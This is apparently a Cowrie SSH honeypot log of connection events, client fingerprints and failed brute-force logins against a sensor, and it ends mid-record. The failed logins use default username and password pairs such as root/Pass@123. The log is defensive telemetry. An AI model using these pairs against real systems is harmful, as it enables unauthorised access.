{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:23.465864Z","src_ip":"5.196.136.131","session":"10c9a21ad061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":22365,"dst_ip":"10.17.0.5","dst_port":22,"session":"55b6a1adc0ac","protocol":"ssh","message":"New connection: 5.196.136.131:22365 (10.17.0.5:22) [session: 55b6a1adc0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:26.451149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:26.454467Z","src_ip":"5.196.136.131","session":"55b6a1adc0ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:26.536646Z","src_ip":"5.196.136.131","session":"55b6a1adc0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:26.787259Z","src_ip":"5.196.136.131","session":"55b6a1adc0ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:27.871325Z","src_ip":"5.196.136.131","session":"55b6a1adc0ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":58933,"dst_ip":"10.17.0.5","dst_port":22,"session":"85b95f3b297c","protocol":"ssh","message":"New connection: 5.196.136.131:58933 (10.17.0.5:22) [session: 85b95f3b297c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:30.954056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:30.961594Z","src_ip":"5.196.136.131","session":"85b95f3b297c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:31.039672Z","src_ip":"5.196.136.131","session":"85b95f3b297c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:31.273895Z","src_ip":"5.196.136.131","session":"85b95f3b297c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:32.353940Z","src_ip":"5.196.136.131","session":"85b95f3b297c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":27735,"dst_ip":"10.17.0.5","dst_port":22,"session":"aca7ff8551b9","protocol":"ssh","message":"New connection: 5.196.136.131:27735 (10.17.0.5:22) [session: aca7ff8551b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:35.261614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:35.264779Z","src_ip":"5.196.136.131","session":"aca7ff8551b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:35.374587Z","src_ip":"5.196.136.131","session":"aca7ff8551b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:35.616987Z","src_ip":"5.196.136.131","session":"aca7ff8551b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:36.697464Z","src_ip":"5.196.136.131","session":"aca7ff8551b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":47050,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e3f71c757d","protocol":"ssh","message":"New connection: 113.125.165.132:47050 (10.17.0.5:22) [session: 27e3f71c757d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:38.649168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:38.652797Z","src_ip":"113.125.165.132","session":"27e3f71c757d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:38.892916Z","src_ip":"113.125.165.132","session":"27e3f71c757d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":28916,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f9e538c51b3","protocol":"ssh","message":"New connection: 5.196.136.131:28916 (10.17.0.5:22) [session: 0f9e538c51b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:39.623610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:39.627327Z","src_ip":"5.196.136.131","session":"0f9e538c51b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:39.704001Z","src_ip":"5.196.136.131","session":"0f9e538c51b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"a","message":"login attempt [gitlab/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:39.883854Z","src_ip":"113.125.165.132","session":"27e3f71c757d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:39.936087Z","src_ip":"5.196.136.131","session":"0f9e538c51b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:41.014294Z","src_ip":"5.196.136.131","session":"0f9e538c51b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:41.127145Z","src_ip":"113.125.165.132","session":"27e3f71c757d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":56351,"dst_ip":"10.17.0.5","dst_port":22,"session":"61ae78639c2b","protocol":"ssh","message":"New connection: 5.196.136.131:56351 (10.17.0.5:22) [session: 61ae78639c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:44.093388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:44.097293Z","src_ip":"5.196.136.131","session":"61ae78639c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:44.177738Z","src_ip":"5.196.136.131","session":"61ae78639c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:44.445369Z","src_ip":"5.196.136.131","session":"61ae78639c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:45.527429Z","src_ip":"5.196.136.131","session":"61ae78639c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63901,"dst_ip":"10.17.0.5","dst_port":22,"session":"985c226d9f5a","protocol":"ssh","message":"New connection: 5.196.136.131:63901 (10.17.0.5:22) [session: 985c226d9f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:48.494061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:48.498072Z","src_ip":"5.196.136.131","session":"985c226d9f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:48.575221Z","src_ip":"5.196.136.131","session":"985c226d9f5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:48.808529Z","src_ip":"5.196.136.131","session":"985c226d9f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.152.133","src_port":53992,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4ecdae13173","protocol":"ssh","message":"New connection: 20.193.152.133:53992 (10.17.0.5:22) [session: c4ecdae13173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:48.919946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:48.924903Z","src_ip":"20.193.152.133","session":"c4ecdae13173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:49.108802Z","src_ip":"20.193.152.133","session":"c4ecdae13173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2024@","message":"login attempt [root/unitedstates2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:49.659914Z","src_ip":"20.193.152.133","session":"c4ecdae13173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:49.889791Z","src_ip":"5.196.136.131","session":"985c226d9f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:50.845665Z","src_ip":"20.193.152.133","session":"c4ecdae13173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.66.42","src_port":53786,"dst_ip":"10.17.0.5","dst_port":22,"session":"c757eca19b1a","protocol":"ssh","message":"New connection: 167.86.66.42:53786 (10.17.0.5:22) [session: c757eca19b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:50.855867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:50.860124Z","src_ip":"167.86.66.42","session":"c757eca19b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-2